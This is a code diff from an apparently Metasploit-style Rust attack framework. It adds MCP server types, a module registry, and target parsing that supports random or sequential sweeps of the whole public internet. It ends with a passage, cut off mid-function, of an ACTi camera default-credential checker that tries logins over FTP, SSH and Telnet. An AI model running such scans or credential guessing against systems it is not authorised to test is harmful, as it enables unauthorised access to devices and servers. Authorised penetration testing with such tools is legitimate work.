error: Some(JsonRpcError {
code,
message,
data: None,
}),
}
}
}
// ---------------------------------------------------------------------------
// MCP capability negotiation
// ---------------------------------------------------------------------------
/// Returned as the result of the `initialize` method.
#[derive(Serialize)]
pub struct InitializeResult {
#[serde(rename = "protocolVersion")]
pub protocol_version: String,
pub capabilities: ServerCapabilities,
#[serde(rename = "serverInfo")]
pub server_info: ServerInfo,
}
#[derive(Serialize)]
pub struct ServerCapabilities {
#[serde(skip_serializing_if = "Option::is_none")]
pub tools: Option<ToolsCapability>,
#[serde(skip_serializing_if = "Option::is_none")]
pub resources: Option<ResourcesCapability>,
}
#[derive(Serialize)]
pub struct ToolsCapability {}
#[derive(Serialize)]
pub struct ResourcesCapability {}
#[derive(Serialize)]
pub struct ServerInfo {
pub name: String,
pub version: String,
}
// ---------------------------------------------------------------------------
// Tools
// ---------------------------------------------------------------------------
/// Descriptor returned by `tools/list`.
#[derive(Serialize, Clone)]
pub struct Tool {
pub name: String,
pub description: String,
#[serde(rename = "inputSchema")]
pub input_schema: Value,
}
/// Result payload returned by `tools/call`.
#[derive(Serialize)]
pub struct ToolResult {
pub content: Vec<ToolContent>,
#[serde(rename = "isError", skip_serializing_if = "Option::is_none")]
pub is_error: Option<bool>,
}
/// A single content block inside a `ToolResult`.
#[derive(Serialize)]
pub struct ToolContent {
#[serde(rename = "type")]
pub content_type: String,
pub text: String,
}
impl ToolResult {
/// Plain-text result.
pub fn text(s: String) -> Self {
Self {
content: vec![ToolContent {
content_type: "text".to_string(),
text: s,
}],
is_error: None,
}
}
/// Serialize any `Serialize` value into pretty-printed JSON text.
pub fn json(v: &impl Serialize) -> Self {
let text = serde_json::to_string_pretty(v).unwrap_or_else(|e| format!("{{\"error\": \"{}\"}}", e));
Self {
content: vec![ToolContent {
content_type: "text".to_string(),
text,
}],
is_error: None,
}
}
/// Error result — sets `isError` to `true`.
pub fn error(msg: String) -> Self {
Self {
content: vec![ToolContent {
content_type: "text".to_string(),
text: msg,
}],
is_error: Some(true),
}
}
}
// ---------------------------------------------------------------------------
// Resources
// ---------------------------------------------------------------------------
/// Descriptor returned by `resources/list`.
#[derive(Serialize, Clone)]
pub struct Resource {
pub uri: String,
pub name: String,
pub description: String,
#[serde(rename = "mimeType")]
pub mime_type: String,
}
/// Content payload returned by `resources/read`.
#[derive(Serialize)]
pub struct ResourceContent {
pub uri: String,
#[serde(rename = "mimeType")]
pub mime_type: String,
pub text: String,
}
+710
View File
@@ -0,0 +1,710 @@
// src/module.rs
//
// Module trait + compile-time registry. Every module implements `Module`,
// self-registers via `register_native_module!` (which expands to an
// `inventory::submit!`), and gets dispatched by the unified `Scheduler`.
use std::collections::HashMap;
use std::path::PathBuf;
use std::sync::Arc;
use anyhow::Result;
use async_trait::async_trait;
use crate::module_info::ModuleInfo;
// ============================================================
// CATEGORY
// ============================================================
/// Module category — corresponds to `src/modules/<category>/`.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum Category {
Scanners,
Exploits,
Creds,
Osint,
Plugins,
}
impl Category {
pub const fn as_str(self) -> &'static str {
match self {
Self::Scanners => "scanners",
Self::Exploits => "exploits",
Self::Creds => "creds",
Self::Osint => "osint",
Self::Plugins => "plugins",
}
}
pub fn parse(s: &str) -> Option<Self> {
match s {
"scanners" | "scanner" => Some(Self::Scanners),
"exploits" | "exploit" => Some(Self::Exploits),
"creds" | "credential" | "credentials" => Some(Self::Creds),
"osint" => Some(Self::Osint),
"plugins" | "plugin" => Some(Self::Plugins),
_ => None,
}
}
}
impl std::fmt::Display for Category {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str(self.as_str())
}
}
// ============================================================
// TARGET
// ============================================================
/// A scan target. Replaces the loose `&str` plumbed through every module.
#[derive(Debug, Clone)]
pub enum Target {
/// Single host: `"10.0.0.1"`, `"example.com"`, `"[2001:db8::1]:80"`.
Single(String),
/// CIDR range, normalized: `"10.0.0.0/24"`.
Cidr(String),
/// Multiple targets — recursively any other variant.
Multi(Vec<Target>),
/// File containing one target per line (blank/comment lines skipped).
File(PathBuf),
/// Random public-internet scan.
Random,
/// Sequential public-internet sweep starting at the given IPv4 (as a u32),
/// running in order up to the last public address.
Sequential(u32),
}
/// First public IPv4 address (`1.0.0.0`) — `0.0.0.0/8` is reserved.
pub const FIRST_PUBLIC_IPV4: u32 = 0x0100_0000;
impl Target {
/// Parse a raw user-supplied string into a `Target`. Delegates host/port
/// validation to `crate::utils::normalize_target` and reuses
/// `crate::utils::bruteforce::is_subnet_target` / `is_mass_scan_target`
/// to stay consistent with the legacy dispatcher.
pub fn parse(raw: &str) -> Result<Self> {
let trimmed = raw.trim();
if trimmed.is_empty() {
anyhow::bail!("Target cannot be empty");
}
// `Target::Random` is the full-internet random sweep. It is triggered by
// the markers `random`, `0.0.0.0/0`, and bare `0.0.0.0` (operator opt-in
// 2026-06-09 — reverses the earlier M45 rule that made `0.0.0.0` a single
// host). The scheduler shows a per-sweep advisory and, on an interactive
// console, an explicit confirmation before it actually fans out (see
// `fanout_random` / `fanout_sequential`). CIDR ranges and file paths are
// handled below as `Cidr` / `File`.
if trimmed == "random" || trimmed == "0.0.0.0/0" || trimmed == "0.0.0.0" {
return Ok(Target::Random);
}
// Sequential full-public-IPv4 sweep: `seq`/`sequential` start at the
// first public address; `seq:<ip>`/`sequential:<ip>` start at <ip>.
let lower = trimmed.to_ascii_lowercase();
if lower == "seq" || lower == "sequential" {
return Ok(Target::Sequential(FIRST_PUBLIC_IPV4));
}
if let Some(rest) = lower
.strip_prefix("seq:")
.or_else(|| lower.strip_prefix("sequential:"))
{
let ip: std::net::Ipv4Addr = rest
.trim()
.parse()
.map_err(|e| anyhow::anyhow!("invalid sequential start IP '{}': {e}", rest.trim()))?;
return Ok(Target::Sequential(u32::from(ip)));
}
if trimmed.contains(',') {
const MAX: usize = 4096;
let parts: Vec<&str> = trimmed
.split(',')
.map(str::trim)
.filter(|s| !s.is_empty())
.take(MAX + 1)
.collect();
if parts.len() > MAX {
anyhow::bail!("Too many comma-separated targets (max {})", MAX);
}
if parts.len() == 1 {
return Self::parse(parts[0]);
}
let mut out = Vec::with_capacity(parts.len());
for p in parts {
out.push(Self::parse(p)?);
}
return Ok(Target::Multi(out));
}
// File targets must be detected before normalize_target rejects them
// as containing path traversal. Only honour them when they actually
// exist on disk and aren't a CIDR.
if !crate::utils::is_subnet_target(trimmed) && std::path::Path::new(trimmed).is_file() {
return Ok(Target::File(PathBuf::from(trimmed)));
}
if crate::utils::is_subnet_target(trimmed) {
return Ok(Target::Cidr(crate::utils::normalize_target(trimmed)?));
}
Ok(Target::Single(crate::utils::normalize_target(trimmed)?))
}
/// True if this target requires fan-out across many hosts.
pub fn is_mass(&self) -> bool {
matches!(
self,
Target::Cidr(_)
| Target::Multi(_)
| Target::File(_)
| Target::Random
| Target::Sequential(_)
)
}
/// Borrow the underlying single-host string, if any.
pub fn as_single(&self) -> Option<&str> {
match self {
Target::Single(s) => Some(s.as_str()),
_ => None,
}
}
/// Render back into the canonical string form modules expect.
/// `Multi` joins with `, `; `Random` becomes `"random"`; `File` becomes
/// the file path. This is the value passed into legacy `run(&str)` shims.
pub fn as_legacy_str(&self) -> String {
match self {
Target::Single(s) | Target::Cidr(s) => s.clone(),
Target::Multi(parts) => parts
.iter()
.map(Self::as_legacy_str)
.collect::<Vec<_>>()
.join(", "),
Target::File(p) => p.to_string_lossy().into_owned(),
Target::Random => "random".to_string(),
Target::Sequential(start) => {
format!("seq:{}", std::net::Ipv4Addr::from(*start))
}
}
}
}
// ============================================================
// OPTIONS
// ============================================================
/// Typed module options. Replaces ad-hoc `args: &str` parsing.
///
/// Modules read with `opts.get_or("port", 22u16)` etc. Values are also fed
/// into `RunContext.config.custom_prompts` so legacy `cfg_prompt_*` callers
/// see the same answers.
#[derive(Debug, Clone, Default)]
pub struct ModuleOptions {
inner: HashMap<String, String>,
}
impl ModuleOptions {
pub fn new() -> Self {
Self::default()
}
pub fn get(&self, key: &str) -> Option<&str> {
self.inner.get(key).map(String::as_str)
}
pub fn get_or<T: std::str::FromStr>(&self, key: &str, default: T) -> T {
self.inner
.get(key)
.and_then(|v| v.parse().ok())
.unwrap_or(default)
}
pub fn set(&mut self, key: impl Into<String>, value: impl Into<String>) -> &mut Self {
self.inner.insert(key.into(), value.into());
self
}
pub fn iter(&self) -> impl Iterator<Item = (&String, &String)> {
self.inner.iter()
}
pub fn into_inner(self) -> HashMap<String, String> {
self.inner
}
pub fn from_map(map: HashMap<String, String>) -> Self {
Self { inner: map }
}
}
// ============================================================
// CAPABILITIES
// ============================================================
/// Capabilities advertised by a module.
///
/// Mass-scan fan-out is **universal** — handled by `crate::scheduler` for
/// every module. There is no per-module mass-scan flag any more; modules
/// only ever see `Target::Single` per invocation.
#[derive(Debug, Clone, Copy)]
pub struct Capabilities {
/// Module is rate-limit-friendly; safe to run with high concurrency.
pub safe_for_high_concurrency: bool,
/// Module needs root (raw sockets, ICMP, etc.).
pub requires_root: bool,
/// Module performs a non-destructive check and never writes to targets.
pub check_only: bool,
/// Module makes outbound network connections.
pub network: bool,
/// Module runs an interactive / long-lived session and manages its own
/// lifetime — the scheduler must NOT wrap it in the per-target timeout.
pub interactive: bool,
}
impl Default for Capabilities {
fn default() -> Self {
Self {
safe_for_high_concurrency: false,
requires_root: false,
check_only: false,
network: true,
interactive: false,
}
}
}
// ============================================================
// FINDINGS / OUTCOME
// ============================================================
#[derive(Debug, Clone)]
pub enum FindingKind {
Vulnerable,
Credential,
OpenPort,
Banner,
Note,
}
#[derive(Debug, Clone)]
pub struct Finding {
pub target: String,
pub kind: FindingKind,
pub message: String,
pub data: Option<serde_json::Value>,
}
/// Outcome of a module run. The scheduler routes findings into
/// `LootStore`/`Workspace` automatically.
#[derive(Debug, Default)]
pub struct ModuleOutcome {
pub success: bool,
pub findings: Vec<Finding>,
}
impl ModuleOutcome {
pub fn ok() -> Self {
Self {
success: true,
findings: Vec::new(),
}
}
pub fn fail() -> Self {
Self {
success: false,
findings: Vec::new(),
}
}
pub fn with(mut self, finding: Finding) -> Self {
self.findings.push(finding);
self
}
}
// ============================================================
// CONTEXT
// ============================================================
/// Per-run module context. Constructed by the scheduler before `run` /
/// `check`. Modules read everything they need from here — no global state,
/// no string parsing, no ad-hoc parameter conventions.
pub struct ModuleCtx {
pub target: Target,
pub options: ModuleOptions,
pub cancel: tokio_util::sync::CancellationToken,
pub batch_mode: bool,
/// Prompt-harvest dry run. Before a mass-scan batch the scheduler runs the
/// module once against a placeholder host purely to gather the operator's
/// `cfg_prompt_*` answers (which get cached for the whole batch). When this
/// is set, a module should answer its prompts and then return EARLY without
/// any network work or file writes — the run exists only to populate the
/// prompt cache, so any real effect against the placeholder host is wasted
/// and misleading.
pub prompt_only: bool,
pub verbose: bool,
/// Tenant identity (multi-tenant API isolation). `None` in CLI/shell mode.
pub tenant_id: Option<String>,
/// Optional shared prompt cache (mass-scan / CIDR runs share answers).
pub prompt_cache: Option<crate::context::PromptCache>,
/// Process-wide hierarchical rate limiter (global → per-module → per-target).
/// Native modules call `ctx.rate_limit(target).await` before each network
/// round trip.
pub limiter: Arc<crate::rate_limit::GlobalLimiter>,
/// Module path (`"category/name"`) — set by the scheduler before
/// invoking `run` so the rate limiter can key per-module buckets.
pub module_path: String,
}
impl ModuleCtx {
pub fn new(target: Target) -> Self {
Self {
target,
options: ModuleOptions::default(),
cancel: tokio_util::sync::CancellationToken::new(),
batch_mode: false,
prompt_only: false,
verbose: false,
tenant_id: None,
prompt_cache: None,
limiter: crate::rate_limit::shared(),
module_path: String::new(),
}
}
/// Acquire one permit at every rate-limit tier (global / module / target).
/// No-op when all tiers have RPS = 0 (the default).
pub async fn rate_limit(&self, target_host: &str) {
self.limiter.acquire(&self.module_path, target_host).await;
}
/// Spawn a tracked tokio task whose handle is registered on the
/// active `RunContext`. The scheduler aborts every tracked spawn in
/// `Module::cleanup`, so cancelled / failed runs don't leak orphan
/// tasks. Falls back to a plain `tokio::spawn` when invoked outside
/// a scheduled run.
pub fn spawn<F>(&self, future: F)
where
F: std::future::Future<Output = ()> + Send + 'static,
{
crate::context::spawn(future);
}
pub fn is_cancelled(&self) -> bool {
self.cancel.is_cancelled()
}
/// Convert into a `RunContext` for executing legacy modules.
pub fn build_run_context(&self, target_str: String) -> crate::context::RunContext {
let mut cfg = crate::config::get_module_config();
// Surface ModuleOptions into custom_prompts so legacy `cfg_prompt_*`
// callers see the operator's answers without further plumbing.
for (k, v) in self.options.iter() {
cfg.custom_prompts.insert(k.clone(), v.clone());
}
let mut rc = if let Some(cache) = &self.prompt_cache {
crate::context::RunContext::with_prompt_cache(cfg, cache.clone(), target_str)
} else {
crate::context::RunContext::with_target(cfg, target_str)
};
rc = rc.with_cancellation(self.cancel.clone());
rc.tenant_id = self.tenant_id.clone();
rc.module_path = self.module_path.clone();
rc
}
}
// ============================================================
// MODULE TRAIT
// ============================================================
/// Every module implements this. Registered via `inventory::submit!`.
#[async_trait]
pub trait Module: Send + Sync {
/// Static metadata (name, description, references, rank).
fn info(&self) -> ModuleInfo;
/// Capabilities — defaults to "single-target, network-bound module".
fn capabilities(&self) -> Capabilities {
Capabilities::default()
}
/// Pre-flight validation, run by the scheduler **once** per CLI/API
/// invocation, *before* any per-host fan-out.
///
/// Use this to validate `ctx.options` (required wordlist exists,
/// supplied port is in 1..=65535, root privilege available, etc.) so
/// the operator gets a single error instead of `N` identical errors
/// across `N` hosts in a /16 scan. Default: succeed.
async fn pre_check(&self, _ctx: &ModuleCtx) -> Result<()> {
Ok(())
}
/// Cleanup hook, run by the scheduler **once** after the whole
/// fan-out completes (or is cancelled). Use this to release
/// long-lived resources (open files, persistent connections) that
/// would otherwise leak.
///
/// `outcome` is the final aggregate (`success` count, total findings).
/// Default: no-op.
async fn cleanup(&self, _ctx: &ModuleCtx, _outcome: &ModuleOutcome) -> Result<()> {
Ok(())
}
/// Run the module against `ctx.target`. The scheduler dispatches this
/// once per host. Mass-scan fan-out is handled at the scheduler tier;
/// modules only ever see `Target::Single` here.
async fn run(&self, ctx: &ModuleCtx) -> Result<ModuleOutcome>;
}
// ============================================================
// REGISTRY (compile-time, via `inventory`)
// ============================================================
/// One entry per module — registered with `inventory::submit!`.
pub struct ModuleEntry {
pub category: Category,
/// Slash-separated short name within its category, e.g. `"ssh/known_vuln"`.
pub name: &'static str,
/// Constructs the module instance. Modules are typically zero-sized.
pub factory: fn() -> Box<dyn Module>,
}
inventory::collect!(ModuleEntry);
/// Walk every registered module.
pub fn registered() -> impl Iterator<Item = &'static ModuleEntry> {
inventory::iter::<ModuleEntry>.into_iter()
}
/// Look up a module by:
/// - `"category/name/with/path"` (full match — exact `entry.name`),
/// - `"name/with/path"` (any category — exact `entry.name`),
/// - `"leaf"` (the part after the last `/` in `entry.name` — first match
/// wins, matching legacy short-name behaviour).
pub fn find(path: &str) -> Option<Box<dyn Module>> {
let (maybe_cat, body) = match path.split_once('/') {
Some((c, rest)) if Category::parse(c).is_some() => (Some(c), rest),
_ => (None, path),
};
// Pass 1: exact match on entry.name (with optional category constraint).
for entry in registered() {
if let Some(c) = maybe_cat
&& entry.category.as_str() != c && Category::parse(c) != Some(entry.category) {
continue;
}
if entry.name == body {
return Some((entry.factory)());
}
}
// Pass 2: short-leaf match — final segment after the last `/` in `entry.name`.
if maybe_cat.is_none() {
for entry in registered() {
let leaf = entry.name.rsplit('/').next().unwrap_or(entry.name);
if leaf == path {
return Some((entry.factory)());
}
}
}
None
}
/// Total number of registered modules.
pub fn count() -> usize {
registered().count()
}
/// All module paths in `category/name` form, sorted.
pub fn all_paths() -> Vec<String> {
let mut v: Vec<String> = registered()
.map(|e| format!("{}/{}", e.category, e.name))
.collect();
v.sort();
v
}
/// Render a Markdown module catalog from the live registry. Used by
/// `--gen-module-catalog` to replace the hand-maintained
/// `docs/Module-Catalog.md`.
pub fn render_catalog_markdown() -> String {
let mut by_cat: std::collections::BTreeMap<&'static str, Vec<&'static ModuleEntry>> =
std::collections::BTreeMap::new();
for e in registered() {
by_cat.entry(e.category.as_str()).or_default().push(e);
}
for v in by_cat.values_mut() {
v.sort_by_key(|e| e.name);
}
let total = registered().count();
let mut out = String::new();
out.push_str("# Module Catalog\n\n");
out.push_str("> Auto-generated from the inventory registry by ");
out.push_str("`rustsploit --gen-module-catalog`. Do not edit by hand.\n\n");
out.push_str(&format!("**Total registered modules: {}**\n\n", total));
out.push_str(
"All modules support mass scan universally — `random` / CIDR / file targets / \
comma-separated lists fan out through `crate::scheduler::run` regardless of \
the module.\n\n",
);
for cat in ["scanners", "exploits", "creds", "osint", "plugins"] {
let Some(entries) = by_cat.get(cat) else { continue };
out.push_str(&format!("## {} ({})\n\n", cat, entries.len()));
out.push_str(&format!("- {} modules\n\n", entries.len()));
out.push_str("| Module | Description | Rank |\n");
out.push_str("|---|---|---|\n");
for e in entries {
let inst = (e.factory)();
let info = inst.info();
let desc = info
.description
.lines()
.next()
.unwrap_or("")
.replace('|', "\\|");
out.push_str(&format!(
"| `{}/{}` | {} | {} |\n",
e.category.as_str(),
e.name,
desc,
info.rank,
));
}
out.push('\n');
}
out
}
// ============================================================
// PER-MODULE REGISTRATION MACRO
// ============================================================
/// Generate a per-module `Module` impl + inventory registration that calls
/// the module file's local `pub fn info()` and `pub async fn run(...)`. Used
/// at the bottom of every module file.
///
/// Two body shapes are supported, picked via the trailing `native` token:
///
/// **Legacy shape (default — most existing modules):**
/// ```ignore
/// pub fn info() -> ModuleInfo { ... }
/// pub async fn run(target: &str) -> anyhow::Result<()> { ... }
///
/// crate::register_native_module!(crate::module::Category::Scanners, "x");
/// ```
/// The macro translates `ctx.target → target_str` and discards return values
/// into `ModuleOutcome::ok()`. No findings flow into the scheduler.
///
/// **Native shape (preferred for new modules and migrations):**
/// ```ignore
/// pub fn info() -> ModuleInfo { ... }
/// pub async fn run(ctx: &ModuleCtx) -> anyhow::Result<ModuleOutcome> { ... }
///
/// crate::register_native_module!(crate::module::Category::Scanners, "x", native);
/// ```
/// The module receives `&ModuleCtx` directly and returns `ModuleOutcome`
/// with `Finding` records. The scheduler routes findings into LootStore /
/// Workspace / events automatically.
///
/// Both shapes share `RunContext` scoping + `abort_all_spawned()` cleanup
/// so `cfg_prompt_*` / `ctx.spawn(...)` / `is_cancelled()` work uniformly.
#[macro_export]
macro_rules! register_native_module {
($category:expr, $name:expr) => {
$crate::__register_native_module_impl!(@no_check $category, $name);
};
($category:expr, $name:expr, native) => {
$crate::__register_native_module_impl!(@native $category, $name, false);
};
// Interactive native module: the scheduler runs it without the per-target
// timeout (it owns its own REPL / long-lived session lifetime).
($category:expr, $name:expr, native, interactive) => {
$crate::__register_native_module_impl!(@native $category, $name, true);
};
}
/// Internal macro arm — do not call directly; use `register_native_module!`.
#[macro_export]
#[doc(hidden)]
macro_rules! __register_native_module_impl {
(@no_check $category:expr, $name:expr) => {
struct __ModuleImpl;
impl ::std::default::Default for __ModuleImpl {
fn default() -> Self { Self }
}
#[::async_trait::async_trait]
impl $crate::module::Module for __ModuleImpl {
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
async fn run(&self, ctx: &$crate::module::ModuleCtx)
-> ::anyhow::Result<$crate::module::ModuleOutcome>
{
let t = ctx.target.as_legacy_str();
let rc = ctx.build_run_context(t.clone());
let ctx_arc = ::std::sync::Arc::new(rc);
let result = $crate::context::RUN_CONTEXT
.scope(ctx_arc, async move {
let r = run(&t).await;
$crate::context::abort_all_spawned().await;
r
})
.await;
result?;
::std::result::Result::Ok($crate::module::ModuleOutcome::ok())
}
}
inventory::submit! {
$crate::module::ModuleEntry {
category: $category,
name: $name,
factory: || ::std::boxed::Box::new(__ModuleImpl),
}
}
};
// Native shape: `run(ctx) -> Result<ModuleOutcome>`.
(@native $category:expr, $name:expr, $interactive:expr) => {
struct __ModuleImpl;
impl ::std::default::Default for __ModuleImpl {
fn default() -> Self { Self }
}
#[::async_trait::async_trait]
impl $crate::module::Module for __ModuleImpl {
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
fn capabilities(&self) -> $crate::module::Capabilities {
$crate::module::Capabilities {
interactive: $interactive,
..::core::default::Default::default()
}
}
async fn run(&self, ctx: &$crate::module::ModuleCtx)
-> ::anyhow::Result<$crate::module::ModuleOutcome>
{
// Keep `RunContext` scope so `cfg_prompt_*` / `is_cancelled()`
// helpers used inside the body still resolve. Pass the
// canonical target string for compatibility with helpers
// that read `RunContext.target`.
let t = ctx.target.as_legacy_str();
let rc = ctx.build_run_context(t);
let ctx_arc = ::std::sync::Arc::new(rc);
let outcome = $crate::context::RUN_CONTEXT
.scope(ctx_arc, async move {
let r = run(ctx).await;
$crate::context::abort_all_spawned().await;
r
})
.await?;
::std::result::Result::Ok(outcome)
}
}
inventory::submit! {
$crate::module::ModuleEntry {
category: $category,
name: $name,
factory: || ::std::boxed::Box::new(__ModuleImpl),
}
}
};
}
+85
View File
@@ -0,0 +1,85 @@
use colored::*;
use serde::{Deserialize, Serialize};
/// Module metadata — returned by optional `pub fn info() -> ModuleInfo` in modules.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ModuleInfo {
pub name: String,
pub description: String,
pub authors: Vec<String>,
/// CVE IDs, URLs, EDB references, etc.
pub references: Vec<String>,
/// ISO date string, e.g. "2024-01-15"
pub disclosure_date: Option<String>,
pub rank: ModuleRank,
/// Default service port for this module (used by scheduler for mass-scan
/// pre-checks when the operator hasn't set `setg port`).
#[serde(default)]
pub default_port: Option<u16>,
}
/// Reliability/safety rank for modules (inspired by Metasploit ranking).
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ModuleRank {
/// Reliable, no crash risk
Excellent,
/// Usually works
Great,
/// Default rank
Good,
/// May cause instability
Normal,
/// Rarely works
Low,
/// Requires manual steps
Manual,
}
impl std::fmt::Display for ModuleRank {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
ModuleRank::Excellent => write!(f, "Excellent"),
ModuleRank::Great => write!(f, "Great"),
ModuleRank::Good => write!(f, "Good"),
ModuleRank::Normal => write!(f, "Normal"),
ModuleRank::Low => write!(f, "Low"),
ModuleRank::Manual => write!(f, "Manual"),
}
}
}
/// Pretty-print module info to the console.
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Module Information ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
println!(" {:<16} {}", "Path:".bold(), module_path);
println!(" {:<16} {}", "Name:".bold(), info.name);
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
if let Some(ref date) = info.disclosure_date {
println!(" {:<16} {}", "Disclosed:".bold(), date);
}
println!();
println!(" {}", "Description:".bold());
for line in info.description.lines() {
println!(" {}", line);
}
println!();
if !info.authors.is_empty() {
println!(" {}", "Authors:".bold());
for author in &info.authors {
println!(" - {}", author);
}
println!();
}
if !info.references.is_empty() {
println!(" {}", "References:".bold());
for reference in &info.references {
println!(" - {}", reference);
}
println!();
}
}
@@ -1,15 +1,26 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use suppaftp::tokio::AsyncFtpStream;
use colored::*;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use std::time::Duration;
use tokio::{join, task};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::url_encode;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
crate::mprintln!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
#[allow(dead_code)]
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
@@ -17,6 +28,17 @@ pub enum ServiceType {
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
@@ -38,68 +60,90 @@ fn normalize_target(target: &str, port: u16) -> String {
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
let tcp_stream = match crate::utils::network::tcp_connect_str(&address, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
Ok(s) => s,
Err(e) => {
tracing::trace!(target = %config.target, port = config.port, user = %username, "TCP connect failed: {}", e);
continue;
}
};
match AsyncFtpStream::connect_with_stream(tcp_stream).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
crate::mprintln!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
if let Err(e) = ftp.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(());
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
if let Err(e) = ftp.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
}
Err(e) => {
tracing::trace!(target = %config.target, port = config.port, user = %username, "FTP login attempt failed: {}", e);
continue;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let socket_addr: std::net::SocketAddr = match address.parse() {
Ok(sa) => sa,
Err(e) => {
tracing::debug!(addr = %address, "SSH target parse failed: {}", e);
continue;
}
};
// libssh2 needs a blocking std stream — blocking_tcp_connect honors
// `setg src_port` which the raw connect_timeout silently skipped.
if let Ok(stream) = crate::utils::network::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
crate::mprintln!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
@@ -110,43 +154,60 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
let socket_addr: std::net::SocketAddr = match format!("{}:{}", host, port).parse() {
Ok(sa) => sa,
Err(e) => {
tracing::debug!(addr = %address, "Telnet target parse failed: {}", e);
continue;
}
};
if let Ok(tcp_stream) = crate::utils::network::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
let mut telnet = Telnet::from_stream(Box::new(tcp_stream), 500);
if let Err(e) = telnet.write(format!("{}\r\n", username).as_bytes()) { eprintln!("[!] Write failed: {}", e); }
if let Err(e) = telnet.write(format!("{}\r\n", password).as_bytes()) { eprintln!("[!] Write failed: {}", e); }
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
